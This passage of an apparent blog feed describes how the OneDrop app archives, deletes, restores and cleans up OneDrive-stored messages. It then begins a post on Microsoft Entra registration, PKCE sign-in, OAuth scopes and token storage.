&lt;p&gt;Once a UTC month has been over for more than 24 hours, OneDrop can consolidate it into  &lt;code&gt;archive/YYYY-MM.json&lt;/code&gt; . The delay gives end-of-month writes some breathing room. Subsequent history reads can then fetch fewer files. Eligible history reads try the archive first. If there is no archive, the read fails, or it takes more than eight seconds, they fall back to the source chunks. Current tombstones apply to archive reads too.&lt;/p&gt;
&lt;p&gt;Creation uses  &lt;code&gt;conflictBehavior=fail&lt;/code&gt;  so an existing archive won’t be overwritten. After writing, OneDrop reads it back and compares the serialised result with the intended document. If an archive already exists, its contents must match the visible source month. Damaged files, unresolved messages or an inconsistent existing archive leave the task blocked.&lt;/p&gt;
&lt;span id=&#34;失败重试与超时处理&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;retries-and-timeout-reporting&#34; data-section=&#34;失败重试与超时处理&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#retries-and-timeout-reporting&#34;&gt;#&lt;/a&gt; Retries and timeout reporting&lt;/h4&gt;
&lt;p&gt;Task state is persisted locally.  &lt;code&gt;cooling-down&lt;/code&gt;  waits for the next retry,  &lt;code&gt;auth-paused&lt;/code&gt;  waits for authorisation,  &lt;code&gt;blocked&lt;/code&gt;  needs a data problem resolved, and  &lt;code&gt;succeeded&lt;/code&gt;  records success. Ordinary retries wait five minutes, thirty minutes, six hours and then twenty-four hours. Reopening the interface doesn’t immediately repeat a task known to be failing.&lt;/p&gt;
&lt;p&gt;After thirty seconds the task can report a timeout. That notification doesn’t cancel the underlying operation. The client still waits for its actual outcome, so a later success can update the task state.&lt;/p&gt;
&lt;span id=&#34;清理源目录与恢复限制&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;source-cleanup-and-recovery-limits&#34; data-section=&#34;清理源目录与恢复限制&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#source-cleanup-and-recovery-limits&#34;&gt;#&lt;/a&gt; Source cleanup and recovery limits&lt;/h4&gt;
&lt;p&gt;A successful archive leaves the monthly source directory in place initially. The task saves a digest of the archive and sets  &lt;code&gt;cleanupPending&lt;/code&gt; . Cleanup rereads the raw archive and checks that digest before trying to remove the source directory. A failed cleanup can be retried independently.&lt;/p&gt;
&lt;p&gt;The check returns early if the archive is missing, there’s no saved digest, or the digest no longer matches.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793271806/Typora/2026/10/29/onedrop-tech-archive-check.png&#34; alt=&#34;Checking the saved digest before removing the source directory&#34; /&gt;&lt;/p&gt;
&lt;p&gt;There is a limitation here: the digest verifies the archive, but the implementation doesn’t check that the &lt;strong&gt;source&lt;/strong&gt; still matches its archived version immediately before deletion. Another device could have changed the source since the archive was created.&lt;/p&gt;
&lt;p&gt;The archive also contains visible messages after  &lt;code&gt;tombstone&lt;/code&gt;  filtering. It doesn’t preserve every original deleted record. Cleaning the source directory can therefore remove the only remaining recovery source for a deleted message. Recovery has to check what still exists.&lt;/p&gt;
&lt;span id=&#34;删除-恢复与物理清理&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;deletion-recovery-and-physical-cleanup&#34; data-section=&#34;删除-恢复与物理清理&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#deletion-recovery-and-physical-cleanup&#34;&gt;#&lt;/a&gt; Deletion, recovery and physical cleanup&lt;/h2&gt;
&lt;span id=&#34;删除标记与保留策略&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;tombstones-and-retention&#34; data-section=&#34;删除标记与保留策略&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#tombstones-and-retention&#34;&gt;#&lt;/a&gt; Tombstones and retention&lt;/h3&gt;
&lt;p&gt;Removing a message from a local array would let the next sync bring it back. Removing it from one chunk still leaves the possibility of a stale writer. OneDrop records deletion separately as a  &lt;code&gt;tombstone&lt;/code&gt; , and all read paths apply the same deletion state.&lt;/p&gt;
&lt;p&gt;A  &lt;code&gt;tombstone&lt;/code&gt;  records  &lt;code&gt;messageId&lt;/code&gt; ,  &lt;code&gt;originalMonth&lt;/code&gt; ,  &lt;code&gt;deletedAt&lt;/code&gt;  and optionally  &lt;code&gt;recovery&lt;/code&gt; . It’s saved by original month in  &lt;code&gt;tombstones/YYYY-MM.json&lt;/code&gt; . Monthly and archive reads filter the matching IDs. Hiding a message therefore doesn’t require its attachment and original JSON to disappear at the same instant. The monthly read below fetches the set of deleted IDs and excludes them from the merged result. It leaves the source files in place.&lt;/p&gt;
&lt;figure class=&#34;highlight typescript&#34;&gt;&lt;figcaption data-lang=&#34;typescript&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;const&lt;/span&gt; deletedMessageIds &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;token keyword&#34;&gt;await&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;readTombstoneIds&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;month&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt; accessToken&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;const&lt;/span&gt; messages &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; unfilteredMessages&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;filter&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;message&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;=&gt;&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;!&lt;/span&gt;deletedMessageIds&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;token function&#34;&gt;has&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;(&lt;/span&gt;message&lt;span class=&#34;token punctuation&#34;&gt;.&lt;/span&gt;id&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793212428/Typora/2026/10/29/onedrop-tech-deletion.png&#34; alt=&#34;From deletion marker through recovery or staged cleanup&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Updating and removing tombstones also use read, merge and conditional write, with up to five attempts on conflict. Otherwise deleting one message on A could overwrite a deletion marker B had just added for a different message.&lt;/p&gt;
&lt;p&gt;The deletion action records its recovery policy: disabled, 3, 7, 10 or 30 days, or forever. Finite retention can include an explicit  &lt;code&gt;recoverableUntil&lt;/code&gt; . For older records without the information, cleanup falls back to ten days after deletion. Disabling recovery makes the record eligible immediately; remote objects still go through the cleanup process.&lt;/p&gt;
&lt;span id=&#34;回收站与消息恢复&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;the-recycle-bin-and-restoring-messages&#34; data-section=&#34;回收站与消息恢复&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#the-recycle-bin-and-restoring-messages&#34;&gt;#&lt;/a&gt; The recycle bin and restoring messages&lt;/h3&gt;
&lt;p&gt;A  &lt;code&gt;tombstone&lt;/code&gt;  stores deletion state, not a full copy of the text or attachment. For the recycle bin, OneDrop reads the raw archive and unfiltered records in the source chunks, merges them and looks for the matching ID. A hidden message can appear there while its original content remains available.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1794676941/Typora/2026/10/29/onedrop-tech-recycle-bin.png&#34; alt=&#34;Deleted messages, days remaining and Restore buttons in the OneDrop recycle bin&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Identical records can merge. Contradictory versions with the same ID don’t count as one unambiguously recoverable message. If the source is gone, the client doesn’t construct a placeholder from the  &lt;code&gt;tombstone&lt;/code&gt;  and present it as recoverable.&lt;/p&gt;
&lt;p&gt;Restore checks the  &lt;code&gt;tombstone&lt;/code&gt;  and original again, removes the marker, then clears the monthly cache. If either the  &lt;code&gt;tombstone&lt;/code&gt;  or the original is missing, the restore function returns an error here. Otherwise, the next normal read includes the message. There’s no new message ID or attachment upload.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793271803/Typora/2026/10/29/onedrop-tech-message-restore.png&#34; alt=&#34;Verifying both sources before removing the &#34; /&gt;&lt;/p&gt;
&lt;p&gt;Retention defines cleanup eligibility; it isn’t an independent backup. A manually removed original or a source lost during archive cleanup can’t be reconstructed from an ID. Even an intact file message doesn’t guarantee the attachment is still there: external operations can move or delete it.&lt;/p&gt;
&lt;span id=&#34;过期数据清理&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;cleaning-up-expired-data&#34; data-section=&#34;过期数据清理&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#cleaning-up-expired-data&#34;&gt;#&lt;/a&gt; Cleaning up expired data&lt;/h3&gt;
&lt;span id=&#34;筛选待清理记录&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;selecting-eligible-items&#34; data-section=&#34;筛选待清理记录&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#selecting-eligible-items&#34;&gt;#&lt;/a&gt; Selecting eligible items&lt;/h4&gt;
&lt;p&gt;A separate cleanup process removes remote attachments and metadata. Automatic scans run at 24-hour intervals and inspect up to twenty eligible items per round. A manual cleanup skips the normal interval, expiry wait and ordinary round limit. Automatic scans skip permanent retention; disabled recovery is eligible from deletion time. The code below calculates the earliest cleanup time as  &lt;code&gt;eligibleAt&lt;/code&gt; . Automatic scans skip records that haven’t reached it, while manual cleanup skips that time check.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793289744/Typora/2026/10/29/onedrop-tech-cleanup-retention.png&#34; alt=&#34;Checking whether a deleted record is eligible for cleanup&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Before deleting anything, the client reads the source and checks the month implied by the message timestamp. If it can’t identify the record uniquely, it stops processing that item. An absent record alongside a damaged file warrants investigation: an empty set of successfully parsed records doesn’t prove cleanup is complete.&lt;/p&gt;
&lt;span id=&#34;核对引用并依次删除&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;checking-references-and-deleting-in-order&#34; data-section=&#34;核对引用并依次删除&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#checking-references-and-deleting-in-order&#34;&gt;#&lt;/a&gt; Checking references and deleting in order&lt;/h4&gt;
&lt;p&gt;For a file message, the client checks whether another undeleted message in the &lt;strong&gt;currently read month&lt;/strong&gt; refers to the same  &lt;code&gt;driveItemId&lt;/code&gt; . If it does, it keeps the attachment. Otherwise it locates  &lt;code&gt;files/year/month/message-ID&lt;/code&gt; , verifies that it’s a folder containing the target  &lt;code&gt;DriveItem&lt;/code&gt; , and only then deletes that attachment folder. This check doesn’t build a global reference index over all of OneDrive.&lt;/p&gt;
&lt;p&gt;After handling the attachment it removes metadata from message chunks or the archive. JSON rewrites use ETags. A change or conflict defers the operation and leaves the  &lt;code&gt;tombstone&lt;/code&gt;  for later. The marker is removed last, once the metadata step is confirmed, and the item is marked complete.&lt;/p&gt;
&lt;p&gt;An intermediate state is possible: the attachment is gone but a conditional metadata update hasn’t succeeded yet. A local maintenance queue serialises restore and cleanup on one device; it doesn’t lock every device. A subsequent restore must still recheck its sources.&lt;/p&gt;
&lt;p&gt;Two other cases are worth distinguishing.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A failed local send that never reached the cloud can be removed from IndexedDB after confirmation, without creating a cloud  &lt;code&gt;tombstone&lt;/code&gt; .&lt;/li&gt;
&lt;li&gt;A file the user has already downloaded to a system directory is their own copy. Cleaning up its message or deleting its download registration doesn’t delete that local file.&lt;/li&gt;
&lt;/ul&gt;
</content>
        <updated>2026-10-10T13:16:53.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/software-development/app-development/onedrop-storage-and-multi-device-sync-part-one/</id>
        <title>OneDrop Storage and Multi-Device Sync (Part One)</title>
        <link rel="alternate" href="https://www.sycamore.top/en/software-development/app-development/onedrop-storage-and-multi-device-sync-part-one/"/>
        <content type="html">&lt;p&gt;&lt;a href=&#34;/en/software-development/app-development/onedrop-sending-text-and-files-through-onedrive/&#34;&gt;My introduction to OneDrop&lt;/a&gt; covers the &lt;a href=&#34;https://github.com/zixu0779/OneDrop&#34;&gt;project&lt;/a&gt;, installation and future plans. This two-part series looks at the implementation. Here I’ll follow Microsoft account authorisation and the path a text or file message takes through storage, upload and download. Part two covers multi-device sync, conflicts, archives, deletion and recovery.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Using OneDrive saves me from deploying and maintaining a storage service. It still leaves the client responsible for message state. Two devices can edit the same record, an upload can finish before its message commits, and a deletion has to reach other devices. This diagram shows the entry points, shared UI and storage in &lt;a href=&#34;https://github.com/zixu0779/OneDrop/releases/tag/v1.0.3&#34;&gt;OneDrop 1.0.3&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793212421/Typora/2026/10/29/onedrop-tech-architecture.png&#34; alt=&#34;Platform entry points, shared interface and OneDrive storage&#34; /&gt;&lt;/p&gt;
&lt;span id=&#34;microsoft-账户与-onedrive-授权&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;microsoft-accounts-and-onedrive-authorisation&#34; data-section=&#34;microsoft-账户与-onedrive-授权&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#microsoft-accounts-and-onedrive-authorisation&#34;&gt;#&lt;/a&gt; Microsoft accounts and OneDrive authorisation&lt;/h2&gt;
&lt;span id=&#34;客户端授权流程&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;the-client-authorisation-flow&#34; data-section=&#34;客户端授权流程&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#the-client-authorisation-flow&#34;&gt;#&lt;/a&gt; The client authorisation flow&lt;/h3&gt;
&lt;p&gt;OneDrop queries, reads and writes OneDrive files through Microsoft’s API, &lt;a href=&#34;https://learn.microsoft.com/en-us/graph/overview&#34;&gt;Microsoft Graph&lt;/a&gt;. Both the Edge extension and the standalone iOS app run on the user’s device. Microsoft handles login and file requests. Here “extension” refers specifically to the browser distribution; “client” includes the native app as well.&lt;/p&gt;
&lt;span id=&#34;用-pkce-完成授权&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;authorisation-with-pkce&#34; data-section=&#34;用-pkce-完成授权&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#authorisation-with-pkce&#34;&gt;#&lt;/a&gt; Authorisation with PKCE&lt;/h4&gt;
&lt;p&gt;Requests go directly from the client, so the first step is to get the user’s authorisation. A distributed extension or app can’t keep a server secret confidential. OneDrop uses the &lt;a href=&#34;https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow&#34;&gt;authorisation code flow with PKCE&lt;/a&gt;. The user signs in and grants consent on Microsoft’s page, then the client exchanges an authorisation code for tokens.&lt;/p&gt;
&lt;p&gt;The client generates a random  &lt;code&gt;verifier&lt;/code&gt; , hashes it with SHA-256 and Base64URL-encodes the digest as a  &lt;code&gt;challenge&lt;/code&gt; . The authorisation request sends the  &lt;code&gt;challenge&lt;/code&gt; . The token request later supplies the original  &lt;code&gt;verifier&lt;/code&gt;  alongside the code. The server checks that the digest matches the challenge from this authorisation. Possession of the code alone is insufficient to complete that exchange.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793271791/Typora/2026/10/29/onedrop-tech-pkce.png&#34; alt=&#34;Generating the PKCE verifier and challenge&#34; /&gt;&lt;/p&gt;
&lt;p&gt;The  &lt;code&gt;64&lt;/code&gt;  in the code is the &lt;strong&gt;byte count&lt;/strong&gt; before encoding. The request declares  &lt;code&gt;code_challenge_method=S256&lt;/code&gt; . A separate random  &lt;code&gt;state&lt;/code&gt;  is returned unchanged in the callback, allowing the client to match the response to its login attempt. Missing code, mismatched state or an authorisation error stops the exchange.&lt;/p&gt;
&lt;span id=&#34;登记应用与配置填写&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;registering-the-application-and-setting-its-configuration&#34; data-section=&#34;登记应用与配置填写&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#registering-the-application-and-setting-its-configuration&#34;&gt;#&lt;/a&gt; Registering the application and setting its configuration&lt;/h4&gt;
&lt;p&gt;For a custom build, register an application in &lt;a href=&#34;https://entra.microsoft.com/&#34;&gt;Microsoft Entra&lt;/a&gt;. Entra is where Microsoft manages sign-in and authorisation settings. Registration identifies the application requesting sign-in. Released builds already contain their application configuration; users sign in with their own accounts.&lt;/p&gt;
&lt;p&gt;The client needs three settings.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Client ID identifies the application.&lt;/strong&gt; In Entra ID → App registrations, create or open the application and copy &lt;strong&gt;Application (client) ID&lt;/strong&gt; from Overview. This identifies the registration, independently of the user’s account or password.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Authority selects the sign-in endpoint and account audience.&lt;/strong&gt; OneDrop defaults to  &lt;code&gt;https://login.microsoftonline.com/common&lt;/code&gt; . To support work, school and personal Microsoft accounts, the registration must also allow those account types; select the multitenant option that includes personal accounts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Redirect URI tells Microsoft where to return the result.&lt;/strong&gt; Register it under Authentication. The URI sent in the request must match. This is a client callback address, unrelated to OneDrive’s file directories.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Desktop Edge supplies extension identity APIs for generating the callback, opening an authorisation window and receiving its result. Android Edge also uses an extension callback but may fail to create the window. In the implementation described here, iOS Edge lacks Identity API and needs a web callback.&lt;/p&gt;
&lt;p&gt;When available,  &lt;code&gt;browser.identity.getRedirectURL(&amp;quot;auth&amp;quot;)&lt;/code&gt;  returns an address such as  &lt;code&gt;https://&amp;lt;extension-id&amp;gt;.chromiumapp.org/auth&lt;/code&gt; . Before a client ID is configured, OneDrop’s setup screen displays the Redirect URI to register. Copy it from your own installed extension; different packages can have different IDs.&lt;/p&gt;
&lt;p&gt;Without that API, the default web callback is  &lt;code&gt;https://onedrop.sycamore.top/auth.html&lt;/code&gt; , registered as a single-page application (SPA). If you host another callback, change both the local configuration and the Entra registration.&lt;/p&gt;
&lt;p&gt;Set the build values in  &lt;code&gt;.env.local&lt;/code&gt;  at the project root:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;figcaption data-lang=&#34;bash&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;WXT_ONEDROP_ENTRA_CLIENT_ID&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;your-application-client-id&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;WXT_ONEDROP_ENTRA_AUTHORITY&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;https://login.microsoftonline.com/common&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token comment&#34;&gt;# Web callback for browsers that cannot generate an extension callback URL&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token assign-left variable&#34;&gt;WXT_ONEDROP_TAB_REDIRECT_URI&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;https://onedrop.sycamore.top/auth.html&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;Restart the development server and reload the extension after editing. Microsoft documents &lt;a href=&#34;https://learn.microsoft.com/en-us/entra/identity-platform/quickstart-register-app&#34;&gt;app registration&lt;/a&gt; and &lt;a href=&#34;https://learn.microsoft.com/en-us/entra/identity-platform/msal-client-application-configuration&#34;&gt;client account audiences&lt;/a&gt;.&lt;/p&gt;
&lt;span id=&#34;声明需要的权限&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;requesting-permissions&#34; data-section=&#34;声明需要的权限&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#requesting-permissions&#34;&gt;#&lt;/a&gt; Requesting permissions&lt;/h4&gt;
&lt;p&gt;OneDrop includes the following scopes in its login request:&lt;/p&gt;
&lt;figure class=&#34;highlight typescript&#34;&gt;&lt;figcaption data-lang=&#34;typescript&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token keyword&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;token constant&#34;&gt;SCOPES&lt;/span&gt; &lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;token punctuation&#34;&gt;[&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token string&#34;&gt;&#34;openid&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token string&#34;&gt;&#34;profile&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token string&#34;&gt;&#34;offline_access&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;5&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;  &lt;span class=&#34;token string&#34;&gt;&#34;https://graph.microsoft.com/Files.ReadWrite&#34;&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;,&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;6&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token punctuation&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;token keyword&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;token keyword&#34;&gt;const&lt;/span&gt;&lt;span class=&#34;token punctuation&#34;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;openid&lt;/code&gt;  requests identity information so the client can obtain an  &lt;code&gt;ID token&lt;/code&gt; .&lt;/li&gt;
&lt;li&gt;&lt;code&gt;profile&lt;/code&gt;  requests basic profile details such as the name and username shown in the UI.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;offline_access&lt;/code&gt;  requests a  &lt;code&gt;refresh token&lt;/code&gt;  so an expired  &lt;code&gt;access token&lt;/code&gt;  can be replaced without another interactive login. OneDrive still requires network access.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Files.ReadWrite&lt;/code&gt;  requests file access on behalf of the signed-in user. Add it under API permissions → Add a permission → Microsoft Graph → Delegated permissions. The application acts as the user rather than independently of one.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Microsoft defines the scopes and the user or organisation must grant them. See the &lt;a href=&#34;https://learn.microsoft.com/en-us/entra/identity-platform/scopes-oidc&#34;&gt;OpenID Connect scope documentation&lt;/a&gt;. The delegated file permission extends beyond  &lt;code&gt;Apps/OneDrop&lt;/code&gt; . The application confines its normal operations to that directory through its own code; creating a folder doesn’t narrow an already granted permission.&lt;/p&gt;
&lt;span id=&#34;登录窗口与登录状态&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h3 id=&#34;login-windows-and-session-state&#34; data-section=&#34;登录窗口与登录状态&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#login-windows-and-session-state&#34;&gt;#&lt;/a&gt; Login windows and session state&lt;/h3&gt;
&lt;span id=&#34;授权窗口与标签页登录&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;authorisation-window-or-temporary-tab&#34; data-section=&#34;授权窗口与标签页登录&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#authorisation-window-or-temporary-tab&#34;&gt;#&lt;/a&gt; Authorisation window or temporary tab&lt;/h4&gt;
&lt;p&gt;Desktop Edge prefers  &lt;code&gt;browser.identity.launchWebAuthFlow&lt;/code&gt; , with a callback from  &lt;code&gt;getRedirectURL(&amp;quot;auth&amp;quot;)&lt;/code&gt; . If that API is absent or reports that it cannot create a browser window, OneDrop opens a temporary tab instead. Register the callback actually used by the build.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1793267304/Typora/2026/10/29/onedrop-tech-login-flow.png&#34; alt=&#34;Selecting the authorisation window or tab fallback&#34; /&gt;&lt;/p&gt;
&lt;p&gt;When  &lt;code&gt;launchWebAuthFlow&lt;/code&gt;  is unavailable, the client persists  &lt;code&gt;state&lt;/code&gt; ,  &lt;code&gt;verifier&lt;/code&gt; , callback and start time. On a later status check it can see whether the tab reached the callback and finish the exchange.&lt;/p&gt;
&lt;p&gt;Interactive login allows the user to act in the sign-in window. Silent login tries to reuse an existing session. Pending authorisation data is retained for five minutes; interactive login waits five minutes and silent login thirty seconds. These limits govern a login attempt, independently of the lifetime of the resulting  &lt;code&gt;access token&lt;/code&gt; .&lt;/p&gt;
&lt;span id=&#34;令牌的用途与保存&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;token-roles-and-storage&#34; data-section=&#34;令牌的用途与保存&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#token-roles-and-storage&#34;&gt;#&lt;/a&gt; Token roles and storage&lt;/h4&gt;
&lt;p&gt;The  &lt;code&gt;access token&lt;/code&gt;  authorises Graph requests, the  &lt;code&gt;refresh token&lt;/code&gt;  obtains new access tokens, and the  &lt;code&gt;ID token&lt;/code&gt;  carries identity claims. The extension stores its tokens in  &lt;code&gt;browser.storage.local&lt;/code&gt; : closing the sidebar can leave the background runtime suspended, so it must be possible to resume without a permanently running process. Native iOS uses Keychain, as described in &lt;a href=&#34;/en/software-development/app-development/how-onedrop-adapts-to-each-platform/&#34;&gt;the platform notes&lt;/a&gt;.&lt;/p&gt;
&lt;span id=&#34;令牌刷新与重新登录&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h4 id=&#34;refreshing-tokens-and-signing-in-again&#34; data-section=&#34;令牌刷新与重新登录&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#refreshing-tokens-and-signing-in-again&#34;&gt;#&lt;/a&gt; Refreshing tokens and signing in again&lt;/h4&gt;
